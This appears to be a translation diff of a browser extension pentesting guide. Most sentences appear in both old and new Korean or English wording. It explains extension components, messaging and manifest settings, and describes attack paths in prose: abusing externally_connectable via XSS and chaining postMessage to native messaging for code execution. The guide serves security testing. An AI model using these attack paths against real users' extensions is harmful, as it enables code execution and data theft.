다음은 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 가져올 때 페이지에 explain 버튼을 추가하는 예시 content script입니다.
다음은 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용 확장 프로그램의 저장소에서 `message` 값을 가져올 때 페이지에 explain 버튼을 추가하는 예시 content script입니다.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,22 +91,22 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
이 버튼이 클릭되면 content script에 의해 extension pages로 메시지가 전송되며, 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 이용해서 이루어진다. 이는 content script가 API에 직접 접근하는 데 제한이 있기 때문이며, `storage`는 그 몇 안 되는 예외 중 하나다. 이러한 예외를 벗어나는 기능들은 extension pages로 메시지를 보내어 content scripts가 통신하게 된다.
이 버튼을 클릭하면 콘텐츠 스크립트가 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 사용해 확장 프로그램 페이지로 메시지를 보냅니다. 이는 콘텐츠 스크립트가 대부분의 API에 직접 접근할 수 없기 때문이며, `storage` 같은 몇 가지 예외만 직접 접근할 수 있습니다. 이러한 예외를 벗어난 기능은 확장 프로그램 페이지로 메시지를 보내고, 콘텐츠 스크립트가 해당 페이지와 통신합니다.
> [!WARNING]
> 브라우저에 따라 content script의 기능이 약간씩 다를 수 있다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있고, Firefox의 경우 주요 출처는 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)다.\
> 또한 content scripts는 background scripts와 통신할 수 있어 작업을 수행하고 응답을 다시 전달할 수 있다는 점도 주목할 만하다.
> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있고, Firefox의 경우 주요 출처는 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)입니다.\
> 또한 콘텐츠 스크립트는 background 스크립트와 통신하여 동작을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다.
Chrome에서 content scripts를 보고 디버깅하려면 Chrome developer tools 메뉴에서 Options > More tools > Developer tools로 이동하거나 Ctrl + Shift + I를 눌러 개발자 도구를 열면 된다.
Chrome에서 콘텐츠 스크립트를 보고 디버깅하려면 Chrome 개발자 도구 메뉴를 Options > More tools > Developer tools에서 열거나 Ctrl + Shift + I를 누르세요.
개발자 도구가 표시되면 **Source tab**을 클릭한 다음 **Content Scripts** 탭을 클릭한다. 이를 통해 여러 확장 프로그램에서 실행 중인 content scripts를 관찰하고 브레이크포인트를 설정해 실행 흐름을 추적할 수 있다.
개발자 도구가 표시되면 **Source tab**을 클릭한 다음 **Content Scripts** 탭을 선택합니다. 이렇게 하면 다양한 확장 프로그램에서 실행 중인 콘텐츠 스크립트를 관찰하고 실행 흐름을 추적하기 위해 브레이크포인트를 설정할 수 있습니다.
### 주입된 content scripts
### Injected content scripts
> [!TIP]
> 참고로 **Content Scripts aren't mandatory** — 웹페이지에 스크립트를 **동적으로** inject하거나 프로그래밍 방식으로 inject하는 것이 가능하며, 이를 통해 **tabs.executeScript**를 사용해 주입할 수 있다. 이는 실제로 더 **세밀한 제어**를 제공한다.
> Note that **Content Scripts aren't mandatory** — 웹 페이지에 스크립트를 **동적으로(inject)** 주입하거나 프로그래밍 방식으로 주입하는 것도 가능하며, **`tabs.executeScript`**를 통해 수행할 수 있습니다. 이는 보다 세밀한 제어를 제공합니다.
content script를 프로그래밍 방식으로 주입하려면, 확장은 스크립트를 주입하려는 페이지에 대한 [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions)를 가지고 있어야 한다. 이러한 권한은 확장 manifest 내에서 **요청**하여 확보하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)를 통해 임시로 얻을 수 있다.
콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면, 스크립트를 주입할 페이지에 대한 [host permissions]가 확장 프로그램에 있어야 합니다. 이러한 권한은 확장 프로그램의 매니페스트에서 **요청(requesting them)** 하거나 일시적으로 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)를 통해 확보할 수 있습니다.
#### activeTab 기반 확장 예제
```json:manifest.json
@ -125,7 +125,7 @@ content script를 프로그래밍 방식으로 주입하려면, 확장은 스크
}
}
```
- **클릭 시 JS 파일 Inject:**
- **클릭 시 JS 파일을 주입:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange"
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **함수 주입** 클릭 시:
- **클릭 시 함수 주입**:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -152,7 +152,7 @@ func: injectedFunction,
})
})
```
#### 스크립팅 권한 예시
#### 스크립팅 권한이 있는 예제
```javascript
// service-workser.js
chrome.scripting.registerContentScripts([
@ -175,11 +175,11 @@ The `run_at` field controls **언제 JavaScript 파일이 웹 페이지에 주
The possible values are:
- **`document_idle`**: 가능한 경우
- **`document_start`**: `css`의 파일들 이후에, 하지만 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에.
- **`document_end`**: DOM이 완성된 직후이지만, 이미지나 프레임 같은 하위 리소스가 로드되기 전.
- **`document_idle`**: 가능한 경우마다
- **`document_start`**: `css`의 파일들 적용된 후이지만 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에.
- **`document_end`**: DOM이 완료된 직후이지만 이미지나 프레임 같은 하위 리소스가 로드되기 전.
#### `manifest.json`에서
#### Via `manifest.json`
```json
{
"name": "My extension",
@ -195,7 +195,7 @@ The possible values are:
}
```
다음 파일인 **`service-worker.js`**를 통해
**`service-worker.js`**를 통해
```javascript
chrome.scripting.registerContentScripts([
{
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
content scripts가 보낸 메시지는 확장 프로그램의 구성 요소를 조정하는 중심 역할을 하는 **백그라운드 페이지**에서 수신됩니다. 특히, 백그라운드 페이지는 확장 프로그램의 수명 동안 지속적으로 존재하며 사용자가 직접 상호작용하지 않아도 조용히 동작합니다. 자체 Document Object Model (DOM)을 가지므로 복잡한 상호작용과 상태 관리를 수행할 수 있습니다.
content scripts가 보낸 메시지는 **백그라운드 페이지**에서 수신되며, 이는 확장(extension) 구성 요소들을 조정하는 중앙 역할을 합니다. 특히 백그라운드 페이지는 확장 프로그램의 수명 동안 지속적으로 존재하며, 사용자의 직접적인 상호작용 없이 은밀하게 동작합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용과 상태 관리를 가능하게 합니다.
**핵심 포인트**:
- **백그라운드 페이지 역할:** 확장 프로그램의 다양한 부분 간 통신과 조정을 보장하는 신경중추 역할을 합니다.
- **지속성:** 사용자에게는 보이지 않지만 확장 기능의 동작에 필수적인 상 존재입니다.
- **자동 생성:** 명시적으로 정의되지 않으면 브라우저가 자동으로 백그라운드 페이지를 생성합니다. 이 자동 생성된 페이지에는 확장 프로그램의 manifest에 지정된 모든 백그라운드 스크립트가 포함되어 확장 기능의 백그라운드 작업이 원활하게 실행되도록 합니다.
- **백그라운드 페이지 역할:** 확장의 신경중추로서 확장의 여러 부분 간 통신과 조정을 보장합니다.
- **지속성:** 사용자에게는 보이지 않지만 확장 기능에 필수적인 상 존재하는 엔티티입니다.
- **자동 생성:** 명시적으로 정의되지 않은 경우 브라우저는 자동으로 백그라운드 페이지를 생성합니다. 이 자동 생성된 페이지에는 확장 manifest에 명시된 모든 background scripts가 포함되어 백그라운드 작업이 원활히 수행되도록 합니다.
> [!TIP]
> 브라우저가 (명시적으로 선언되지 않았을 때) 백그라운드 페이지를 자동으로 생성해 주는 편의성은 필요한 모든 백그라운드 스크립트가 통합되어 작동하도록 하여 확장 설정 과정을 간소화합니다.
> 브라우저가 백그라운드 페이지를 자동으로 생성해 주는 편의성(명시적으로 선언하지 않은 경우)은 필요한 모든 background scripts가 통합되어 동작하도록 하여 확장 설정 과정을 간소화합니다.
Example background script:
예시 백그라운드 스크립트:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,13 +227,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an "explain" message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
이는 [runtime.onMessage API]를 사용해 메시지를 수신합니다. `"explain"` 메시지를 받으면 [tabs API]를 사용해 새 탭에서 페이지를 엽니다.
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
background script을 디버그하려면 **확장 프로그램 세부 정보에서 service worker를 검사**하면 개발자 도구에서 background script가 열립니다:
백그라운드 스크립트를 디버그하려면 **extension details and inspect the service worker,** 로 이동하면 개발자 도구가 백그라운드 스크립트와 함께 열립니다:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
@ -242,47 +238,25 @@ background script을 디버그하려면 **확장 프로그램 세부 정보에
Browser extensions can contain various kinds of pages:
- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
- Pages that the extension will **load in a new tab**.
- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking:
브라우저 확장 프로그램에는 여러 종류의 페이지가 포함될 수 있습니다:
- **Action pages**는 확장 아이콘을 클릭했을 때 표시되는 드롭다운에 나타납니다.
- 확장 프로그램이 **새 탭에서 로드할** 페이지들.
- **Option Pages**: 이 페이지는 클릭하면 확장 프로그램 위에 표시됩니다. 이전 manifest에서는 제 경우 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 또는 클릭으로 이 페이지에 접근할 수 있었습니다:
- 확장 프로그램이 **새 탭에서 로드**할 페이지.
- **Option Pages**: 이 페이지는 클릭하면 확장 위에 표시됩니다. 이전 manifest에서 제 경우 이 페이지에 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`로 접근할 수 있었습니다 또는 클릭하면:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
이러한 페이지들은 필요에 따라 동적으로 콘텐츠를 로드하기 때문에 백그라운드 페이지처럼 항상 지속되지 않는다는 점에 유의하세요. 그럼에도 불구하고, 이들은 백그라운드 페이지와 몇 가지 기능을 공유합니다:
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
이 페이지들은 필요할 때 동적으로 콘텐츠를 로드하기 때문에 background pages처럼 지속적이지 않습니다. 그럼에도 불구하고 background page와 몇 가지 기능을 공유합니다:
- **Communication with Content Scripts:** background page와 마찬가지로 이 페이지들은 content scripts로부터 메시지를 수신할 수 있어 확장 내부 상호작용을 용이하게 합니다.
- **Access to Extension-Specific APIs:** 이 페이지들은 확장에 정의된 권한에 따라 확장 전용 API에 광범위하게 접근할 수 있습니다.
- **Content Scripts와의 통신:** 백그라운드 페이지와 유사하게, 이러한 페이지들은 content scripts로부터 메시지를 받을 수 있어 확장 내 상호작용을 촉진합니다.
- **확장 전용 API에 대한 접근:** 이러한 페이지들은 확장에 정의된 권한에 따라 확장 전용 API에 광범위하게 접근할 수 있습니다.
### `permissions` & `host_permissions`
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, 브라우저 확장 프로그램이 (storage, location...) 어떤 권한을 갖고 있는지와 어떤 웹 페이지에서 동작하는지를 나타냅니다.
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, 브라우저 확장 프로그램이 어떤 권한(storage, location...)을 가지는지와 어떤 웹 페이지에서 적용되는지를 나타냅니다.
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
브라우저 확장 프로그램은 매우 **privileged**할 수 있기 때문에, 악성 확장이나 탈취된 확장은 공격자에게 민감한 정보를 훔치거나 사용자를 감시할 수 있는 다양한 수단을 제공할 수 있습니다.
브라우저 확장 프로그램은 매우 **권한이 강력할 수 있기** 때문에, 악성 확장이나 침해된 확장은 공격자에게 사용자로부터 민감한 정보를 훔치고 감시할 수 있는 **다양한 수단**을 제공할 수 있습니다.
Check how these settings work and how they could get abused in:
{{#ref}}
browext-permissions-and-host_permissions.md
{{#endref}}
이 설정들이 어떻게 동작하며 어떻게 악용될 수 있는지 확인하세요:
{{#ref}}
browext-permissions-and-host_permissions.md
{{#endref}}
@ -291,15 +265,11 @@ browext-permissions-and-host_permissions.md
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
`manifest.json` 안에도 **content security policy**를 선언할 수 있습니다. 만약 정의되어 있다면, 취약할 수 있습니다.
The default setting for browser extension pages is rather restrictive:
브라우저 확장 페이지의 기본 설정은 다소 제한적입니다:
```bash
script-src 'self'; object-src 'self';
```
CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 참조하세요:
CSP와 잠재적 우회 방법에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
@ -308,8 +278,8 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 참조하세요
### `web_accessible_resources`
웹페이지가 브라우저 확장 프로그램의 페이지(예: `.html` 페이지)에 접근하려면 해당 페이지가 `manifest.json`**`web_accessible_resources`** 필드에 명시되어 있어야 합니다.\
를 들어:
웹페이지가 Browser Extension의 페이지(예: `.html` 페이지)에 접근하려면, 해당 페이지는 `manifest.json`**`web_accessible_resources`** 필드에 명시되어 있어야 합니다.\
:
```javascript
{
...
@ -368,11 +338,7 @@ A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/mani
```
- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect.
여기에 **`"externally_connectable": {}`**로 비어있다고 지정되어 있으면 어떤 앱이나 웹도 연결할 수 없습니다.
The **less extensions and URLs** indicated here, the **smaller the attack surface** will be.
여기에 지정된 **확장 프로그램과 URL이 적을수록**, **공격 표면이 더 작아집니다**.
여기에서 지정된 **extensions 및 URLs**가 적을수록 **공격 표면(attack surface)** 이 작아집니다.
> [!CAUTION]
> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
@ -381,40 +347,21 @@ The **less extensions and URLs** indicated here, the **smaller the attack surfac
>
> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> [!CAUTION]
> 만약 웹 페이지가 **XSS 또는 takeover에 취약**한 상태로 **`externally_connectable`**에 지정되어 있다면, 공격자는 **background script에 직접 메시지를 보낼 수 있으며**, Content Script와 해당 CSP를 완전히 우회할 수 있습니다.
>
> 따라서, 이것은 **매우 강력한 우회 방법**입니다.
>
> 또한 클라이언트가 악성 확장 프로그램을 설치한 경우, 해당 확장 프로그램이 취약한 확장과 통신하도록 허용되지 않더라도 허용된 웹 페이지에 **XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용해 대상 도메인의 요청을 조작하여 페이지의 **JavaScript 파일** 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있다는 점에 유의하세요). 이 아이디어는 [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
## Communication summary
## 통신 요약
### Extension <--> WebApp
### 확장 프로그램 <--> WebApp
content script와 웹 페이지 간 통신에는 보통 post messages가 사용됩니다. 따라서 웹 애플리케이션에서는 보통 **`window.postMessage`** 호출을, content script 쪽에서는 **`window.addEventListener`** 같은 리스너를 볼 수 있습니다. 다만 extension이 웹 애플리케이션에 Post Message를 보내 통신할 수도(따라서 웹 쪽에서 이를 대비해야 함) 있고, 단순히 웹이 새로운 스크립트를 로드하게 만들 수도 있습니다.
To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script.
### 확장 내부
content script와 웹 페이지 사이의 통신에는 보통 post message가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 함수 호출 **`window.postMessage`**를, content script 쪽에서는 **`window.addEventListener`** 같은 리스너를 찾을 수 있습니다. 다만, 확장 프로그램이 웹 애플리케이션으로 Post Message를 보내어(따라서 웹 쪽이 이를 예상해야 함) 통신하거나 단순히 웹에 새 스크립트를 로드하게 할 수도 있다는 점에 유의하세요.
보통 확장 내부에서 메시지를 보내기 위해 **`chrome.runtime.sendMessage`** 함수를 사용하며(대개 `background` script에서 처리) 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너를 선언합니다.
### Inside the extension
### 확장 프로그램 내부
Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**.
확장 프로그램 내부에서는 보통 **`chrome.runtime.sendMessage`** 함수로 메시지를 보냅니다(대개 `background` script에서 처리). 이를 수신·처리하려면 **`chrome.runtime.onMessage.addListener`**를 호출해 리스너를 선언합니다.
It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example:
또한 단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수 있으며, 이를 통해 다음 예제처럼 **메시지를 전송**하고 **수신**할 수 있습니다:
단발성 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예와 같이 이를 이용해 **messages**를 **send****receive** 할 수 있습니다:
<details>
<summary><code>chrome.runtime.connect()</code> 예제</summary>
<summary><code>chrome.runtime.connect()</code> example</summary>
```javascript
var port = chrome.runtime.connect()
@ -445,19 +392,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
백그라운드 스크립트에서 특정 탭에 위치한 content script로 메시지를 보내려면 **`chrome.tabs.sendMessage`**를 호출하면 되며, 이때 메시지를 보낼 **탭의 ID**를 지정해야 합니다.
또한 background script에서 특정 탭에 위치한 content script로 메시지를 보내기 위해 **`chrome.tabs.sendMessage`**를 호출할 수 있으며, 이때 메시지를 보낼 **탭의 ID**를 지정해야 합니다.
### 허용된 `externally_connectable`에서 확장 프로그램으로
**`externally_connectable` 구성에서 허용된 웹 앱 및 외부 브라우저 확장 프로그램**은 다음을 사용하여 요청을 보낼 수 있습니다 :
**허용된 Web apps 및 외부 브라우저 확장 프로그램**는 `externally_connectable` 구성에서 다음을 사용하여 요청을 보낼 수 있습니다 :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
필요한 경우 **extension ID**를 언급합니다.
필요한 곳에서는 **extension ID**를 언급하세요.
### Native Messaging
백그라운드 스크립트(background scripts)가 시스템 내부의 바이너리(binaries)와 통신할 수 있으며, 이 통신이 적절히 보호되지 않으면 **RCEs와 같은 치명적인 취약점에 노출될 수 있습니다**. [More on this later](#native-messaging).
백그라운드 스크립트가 시스템 내부의 바이너리와 통신할 수 있으며, 이 통신이 적절히 보호되지 않으면 **RCEs와 같은 치명적인 취약점에 취약할 수 있습니다**. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -467,9 +414,9 @@ console.log("Received " + response)
}
)
```
## 웹 **↔︎** Content Script 통신
## 웹 **↔︎** Content Script Communication
**content scripts**가 실행되는 환경과 호스트 페이지가 존재하는 환경은 서로 **분리되어** 있어 **격리**가 보장됩니다. 이 격리에도 불구하고, 양쪽은 공통 자원인 페이지의 **Document Object Model (DOM)**과 상호작용할 수 있습니다. 호스트 페이지가 **content script**와 통신하거나 content script를 통해 확장 프로그램과 간접적으로 통신하려면, 양측에서 접근 가능한 **DOM**을 통신 채널로 사용해야 합니다.
**content scripts**가 동작하는 환경과 호스트 페이지가 존재하는 환경은 서로 **분리되어** 있어 **격리**가 보장됩니다. 이러한 **격리**에도 불구하고, 양측은 공용 자원인 페이지의 **Document Object Model (DOM)**과 상호작용할 수 있습니다. 호스트 페이지가 **content script**와 통신하거나 content script를 통해 extension과 간접적으로 통신하려면, 양측에서 접근 가능한 **DOM**을 통신 채널로 사용해야 합니다.
### Post Messages
```javascript:content-script.js
@ -508,11 +455,11 @@ false
```
A secure Post Message communication should check the authenticity of the received message, this can be done checking:
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
- The content script might expecting a message only if the user performs some action
- **origin domain**: might expecting a message only allowlist of domains.
- **`event.isTrusted`**: 이 값은 이벤트가 사용자의 동작에 의해 트리거된 경우에만 True입니다
- Content Script는 사용자가 특정 동작을 수행할 때에만 메시지를 기대하도록 설계될 수 있습니다
- **origin domain**: 특정 도메인들의 allowlist(허용 목록)에만 메시지를 허용하도록 기대할 수 있습니다.
- If a regex is used, be very careful
- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
- **Source**: `received_message.source !== window` 를 사용해서 메시지가 **Content Script가 리스닝 중인 동일한 창에서 온 것인지** 확인할 수 있습니다.
The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**:
@ -555,7 +502,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
**extension** (보통 **background script**)에서 요청 보내기. 선택된 탭의 content script로 메시지를 보내는 예:
**extension** (보통 **background script**)에서 요청을 보냅니다. 선택된 탭의 content script로 메시지를 보내는 예:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -568,7 +515,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
**수신 측**에서는 메시지를 처리하려면 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이는 content script 또는 extension page에서 동일합니다.
수신 측에서는 메시지를 처리하기 위해 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이 동작은 content script나 extension page에서 동일하게 보입니다.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -580,15 +527,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
위 예제에서, **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`를 비동기적으로 실행하도록 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 반드시 포함해야 합니다.
위 예제에서**`sendResponse()`**가 동기 방식으로 실행되었습니다. `sendResponse()`를 비동기적으로 실행하도록 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 반드시 포함해야 합니다.
중요한 점은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 경우, 특정 이벤트에 대해 **가장 먼저 `sendResponse()`를 실행한 페이지**만이 응답을 실제로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 이후의 응답은 무시됩니다.
여러 페이지가 `onMessage` 이벤트를 받도록 설정된 상황에서는, 특정 이벤트에 대해 **가장 먼저 `sendResponse()`를 실행한 페이지만** 응답을 전달할 수 있다는 점에 유의해야 합니다. 같은 이벤트에 대한 이후의 응답은 무시됩니다.
새 확장 기능을 설계할 때는 callbacks보다 promises를 사용하는 것이 바람직합니다. callbacks를 사용할 경우, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환해 비동기 동작을 명시한 경우에만 유효합니다. 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()`가 메모리에서 가비지 컬렉션되면, 기본적으로 `sendMessage()`에 연결된 콜백이 호출됩니다.
새 확장 기능을 작성할 때는 promises보다 callbacks보다 promises를 사용하는 것이 바람직합니다. callbacks를 사용할 경우 `sendResponse()`는 동기 컨텍스트 내에서 직접 실행되었거나 이벤트 핸들러가 `return true;`로 비동기 작업임을 표시한 경우에만 유효합니다. 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()`가 메모리에서 해제(garbage-collected)되면, `sendMessage()`에 전달된 콜백은 기본적으로 호출됩니다.
## Native Messaging
브라우저 확장도 **binaries in the system via stdin**를 통해 시스템의 바이너리와 통신할 수 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 하며, 예시는 다음과 같습니다:
Browser extensions also allow to communicate with **binaries in the system via stdin**. The application must install a json indicating so in a json like:
```json
{
"name": "com.my_company.my_application",
@ -598,14 +545,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
`name`은 브라우저 확장 프로그램의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이고, 유효한 `type`은 stdio (stdin과 stdout 사용) 하나뿐이며 `allowed_origins`는 접근 가능한 확장들을 나타냅니다(와일드카드 사용 불가).
Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard).
Chrome/Chromium은 이 json을 일부 windows registry와 macOS 및 Linux의 특정 경로에서 검색합니다 (자세한 내용은 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> 브라우저 확장도 이 통신을 사용하려면 `nativeMessaing` 권한을 선언해야 합니다.
> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication.
아래는 백그라운드 스크립트가 네이티브 애플리케이션으로 메시지를 보내는 코드 예시입니다:
This is how it looks like some background script code sending messages to a native application:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -615,45 +562,45 @@ console.log("Received " + response)
}
)
```
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), native messages를 악용하는 취약한 패턴이 제안되었습니다:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), native messages를 악용하는 취약한 패턴이 제안니다:
1. 브라우저 확장 프로그램은 content script에 대해 와일드카드 패턴을 가집니다.
2. Content script`postMessage` 메시지를 `sendMessage`를 사용해 background script로 전달합니다.
3. Background script는 메시지를 `sendNativeMessage`를 사용해 native application으로 전달합니다.
4. Native application이 메시지를 위험하게 처리하여 code execution으로 이어집니다.
1. Browser extension has a wildcard pattern for content script.
2. Content script passes `postMessage` messages to the background script using `sendMessage`.
3. Background script passes the message to native application using `sendNativeMessage`.
4. Native application handles the message dangerously, leading to code execution.
그리고 그 안에는 **임의의 페이지에서 브라우저 확장 기능을 악용해 RCE로 가는 예시**가 설명되어 있습니다.
그리고 이 글에는 어떤 페이지에서든 browser extension을 악용해 RCE로 이어지는 예제가 설명되어 있습니다.
## Sensitive Information in Memory/Code/Clipboard
브라우저 확장 프로그램이 **민감한 정보를 메모리에 저장**하는 경우, 이는 (특히 Windows 머신에서) **덤프**되어 해당 정보를 **검색**당할 수 있습니다.
Browser Extension이 메모리에 **민감한 정보를 저장**하는 경우, 특히 Windows 환경에서는 해당 메모리가 **덤프(dump)**되어 그 정보를 **검색**할 수 있습니다.
따라서 브라우저 확장 프로그램의 메모리는 **안전하다고 간주해서는 안 되며**, 자격 증명이나 mnemonic phrases 같은 **민감한 정보는 저장해서는 안 됩니다**.
